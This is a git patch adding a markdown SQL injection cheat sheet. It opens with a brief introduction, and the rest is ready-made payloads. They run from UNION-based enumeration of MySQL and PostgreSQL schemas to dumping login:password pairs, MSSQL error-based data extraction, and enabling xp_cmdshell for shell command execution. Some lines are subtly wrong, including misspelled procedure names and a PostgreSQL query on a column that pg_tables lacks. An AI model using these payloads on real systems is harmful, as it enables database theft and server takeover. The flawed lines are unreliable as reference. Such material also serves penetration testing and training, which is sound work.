From e88ce7f0ef00641096ec3454ed8fff35efb232e0 Mon Sep 17 00:00:00 2001 From: The Watcher <34960106+xd20111@users.noreply.github.com> Date: Tue, 8 Nov 2022 17:10:24 +0530 Subject: [PATCH] sqli --- SQL Injection.md | 165 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 164 insertions(+), 1 deletion(-) diff --git a/SQL Injection.md b/SQL Injection.md index 0f70829..0627543 100644 --- a/SQL Injection.md +++ b/SQL Injection.md @@ -1 +1,164 @@ -# Soon! \ No newline at end of file +# SQL injection + +## Introduction + + It is an attack in which an attacker inserts untrusted data in the application that results in revealing sensitive information of the database. + + SQL Injection (SQLi) is a code injection attack where an attacker manipulates the data being sent to the server to execute malicious SQL statements to control a web application’s database server, thereby accessing, modifying and deleting unauthorized data. This attack is mainly used to take over database servers. + +- In-band SQLi (Classic SQLi) +- Error-based SQLi +- Union-based SQLi +- Inferential SQLi (Blind SQLi) +- Boolean-based (content-based) Blind SQLi +- Time-based Blind SQLi +- Out-of-band SQLi + +## How to exploit +# SQLI tricks + +## GET + +### Error-Based + +### Simple test + +`Adding a simpe quote '` + +Example: `http://vulnerable-website.com/Less-1/?id=5'` + +### Fuzzing + +Sorting columns to find maximum column + +`http://vulnerable-website.com/Less-1/?id=-1 order by 1` + +`http://vulnerable-website.com/Less-1/?id=-1 order by 2` + +`http://vulnerable-website.com/Less-1/?id=-1 order by 3` + +(until it stop returning errors) + +--- + + +### Finding what column is injectable + +**mysql** +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, 3` (using the same amount of columns you got on the previous step) + +**postgresql** +`http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, NULL` (using the same amount of columns you got on the previous step) + + one of the columns will be printed with the respective number + +--- + + +#### Finding version + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, version()` **mysql** +`http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, version()` **postgres**s + + +#### Finding database name + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1,2, database()` **mysql** + +`http://vulnerable-website.com/Less-1/?id=-1 union select NULL,NULL, database()` **postgres** + + +#### Finding usernames logged in + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, current_user()` **mysql** + + +#### Finding databases + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, schema_name from information_schema.schemata` **mysql** + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, datname from pg_database` **postgres** + + +#### Finding table names from a database + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"` **mysql** + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` **postgres** + + +#### Finding column names from a table + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"` **mysql** + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` **postgres** + +#### Concatenate + +Example: + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login from users;` +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, password from users;` + +in one query + +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, concat(login,':',password) from users;` **mysql** +`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login||':'||password from users;` **postgres** + + +### Error Based SQLI (USUALLY MS-SQL) + +#### Current user + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--` + + +#### DBMS version + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--` + + +#### Database name + +`http://vulnerable-website.com/Less-1/?id=-1 or db_name(0)=0 --` + + +#### Tables from a database + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--` + +--- + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--` + + +#### Columns within a table + + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--` + +> remember to change **dbname** and **tablename** accordingly with the given situation +> after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('previously found column name', ...))--` + + +#### Actual data + + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--` + +> after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample + +`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--` + + +#### Shell commands + +`EXEC master..xp_cmdshell ` + +> you need yo be 'sa' user + +#### Enabling shell commands + +`EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;`